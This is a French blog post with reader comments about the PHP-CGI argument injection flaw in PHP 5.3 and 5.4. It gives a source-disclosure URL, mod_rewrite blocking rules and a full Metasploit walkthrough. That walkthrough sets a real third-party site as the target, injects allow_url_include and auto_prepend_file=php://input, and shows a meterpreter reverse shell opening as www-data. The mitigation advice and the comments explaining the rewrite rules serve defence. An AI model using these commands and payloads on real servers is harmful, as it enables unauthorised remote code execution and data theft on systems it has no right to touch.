Une importante faille de sécurité pour PHP 5.3 et 5.4
Une faille de sécurité assez grave vient d'être découverte dans les versions 5.3 et 5.4 de PHP. L'utilisation d'une simple requête HTTP permet d'afficher le code source de la page et éventuellement d'y retrouver les mots de passe utilisés. De quoi avoir quelques frissons dans le dos !
1. La faille et les solutions pour la contrer
Pour pouvoir exploiter cette faille, il faut tout de même répondre aux conditions suivantes :
- Utiliser une version de PHP sur le serveur inférieure à la 5.3.13 ou la 5.4.3
- L'interpréteur PHP doit fonctionner en mode CGI, ce qui n'est pas le mode par défaut
- La requête HTTP doit être du type Query String, commencer par le signe - et ne pas comporter de signe =
- La méthode de la requête doit être soit un GET, soit un HEAD
- Les modules FastCGI, mod_suphp, ainsi que le couple nginx + php-fpm ne sont pas concernés
Si vous ne savez pas dans quel mode est configuré votre serveur Apache, sachez qu'une configuration en mode CGI ressemble à quelque chose comme ça :
Options +ExecCGI AddHandler php5-cgi .php
Voici un exemple de requête qui permet de lancer une attaque. Ici, on utilise le paramètre -s qui permet de forcer l'affichage du code source :
http://victime.fr/index.php?-s
Pour corriger cette faille, il existe aujourd'hui deux méthodes. La première consiste tout simplement à mettre à jour PHP. La seconde est la mise en place de règles pour mod_rewrite qui permettent de filtrer les requêtes malicieuses. Voici un exemple de configuration à utiliser :
RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]
2. Le module pour Metasploit
Un module pour Metasploit est déjà disponible et il se nomme "php_cgi_arg_injection". Celui-ci utilise le paramètre -d qui permet de modifier le comportement d'une page PHP dynamiquement, pour ouvrir un shell à distance. Voici un exemple d'utilisation :
# cd metasploit && svn up
# ./msfconsole -n
msf > use exploit/unix/webapp/php_cgi_arg_injection
msf > info
msf > set RHOST www.facebook.com
msf > set RPORT 80
msf > set TARGETURI /
msf > show payloads
msf > set PAYLAOD php/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.101
msf > set LPORT 4444
msf > exploit[*] Started reverse handler on 192.168.1.101:4444
"/?-d+allow_url_include%3dtrue+-d+auto_prepend_file%3dphp://input"
[*] Sending stage (38791 bytes) to 192.168.1.100
[*] Meterpreter session 1 opened (192.168.1.101:443 -> 192.168.1.100:57139) at 2012-05-03 18:42:39 -0400meterpreter > getuid
Server username: www-data (33)
Certains hackers risquent de s'en donner à cœur joie avec tout ça...
Créé en 2005, Tux-planet est un site qui a pour ambition de regrouper des articles sur Linux et le monde des logiciels libres. 
11 Commentaires pour "Une importante faille de sécurité pour PHP 5.3 et 5.4"
Flux des commentaires de cet article Ajouter un commentaireC'est une blague ? As-tu pris le temps de visiter la page dont l'adresse apparaît dans le « code source » de Facebook ? As-tu pris le temps de te renseigner sur les configurations touchées par cet exploit ?
Non, c'est pas une blague. C'est juste que facebook a réagis rapidement pour afficher un lien vers la page de recrutement au lieu d'afficher la source. Et je reproduis la faille sur un serveur centos / php 5.3 CGI.
Tout ça parce que les arguments passés au CGI sont mal échappés, c'est tordant non ?
j'adore ce genre de news c'est toujours très intéressant de savoir que c'était la sous nos yeux alors que nous l'utilisions depuis très longtemps.
@Zopieux : comme le précise @Popy, ce n'est pas une blague et cette faille est bien réelle. C'est juste que chez Facebook, ils ont un peu d'humour.
@sl33k : moi aussi je me dis souvent la même chose. Et je me demande aussi à chaque fois, combien de personnes étaient au courant et qui non rien dit pour garder l'exploit et l'utiliser quand bon leur semble ?
Je test
Officiellement : http://www.php.net/index.php#id2012-05-03-1
Les développeurs de PHP viennent de se rendre compte, aujourd'hui, qu'ils non pas complètement corrigée cette faille. Une autre version de PHP 5.3 et 5.4 est donc en cours de réalisation.
Pour ceux qui utilise la règle mod_rewrite, et bien celle-ci à également changée pour prendre en compte cette nouvelle découverte. J'ai fais la mise à jour de l'article.
Bonjour et merci pour le traitement de l'info ..
Voilà ce que je lis concernant les règles de réécriture, mais je ne maitrise pas ..
RewriteCond %{QUERY_STRING} ^[^=]*$
=> la requête contient une QueryString qui ne contient pas de caractère "=" (tous les caractères de la QueryString (^*$) en partant du premier caractère(^) au dernier ($) sont différents du caractère "=" ([^=]))
RewriteCond %{QUERY_STRING} %2d|- [NC]
=> la requête contient une QueryString qui contient le caractère "-" (la QueryString contient le code %2d ("-" en URL encoding) OU - ("-" en code ASCII échappé))
RewriteRule .? - [F,L]
=> si les deux RewriteCond définies ci-dessus sont validées, alors on retourne un erreur 403 (le F de [F,L]) et on sort des règles de réécriture (L de [F,L]) ie on ne lit pas les règles suivantes
Soit :
Si la requête contient le caractère "?"
et que, après ce "?", la requête ne contient pas de caractère "="
et que, après ce "?", la requête contient le caractère "-"
alors on retourne une erreur 403 et on arrête les réécritures
Si quelqu'un peut confirmer, entre autres le double sens du caractère ^ dans la première RewriteCond ......
- Pierre
@pierre : je te fais la traduction. Sache qu'il y a deux fiches mementos pour mod_rewrite disponible ici.
RewriteCond %{QUERY_STRING} ^[^=]*$ RewriteCond %{QUERY_STRING} %2d|\- [NC] RewriteRule .? - [F,L]Les deux premières lignes permettent de définir les requêtes qui sont concernés par la règle. Cela concerne :
- les requêtes de type Query String qui ne comporte pas le signe =
- et qui commence par - (forme normale ou forme encodée %2d) quelque soit la case (le flag NC veut no case sensitive)
Pour toutes ces requêtes, on applique le flag F soit forbidden, ce qui revient à interdire ce types de requêtes.
PS : en regex, le symbole ^ veut dire "tout ce qui commence par" et $ signifie "tout ce qui finit par".
j'adore
Yop, rassurez moi juste.
Le caractère ASCII RTL ne permet pas de bypass vos rewrite et/ou la secu' php hein...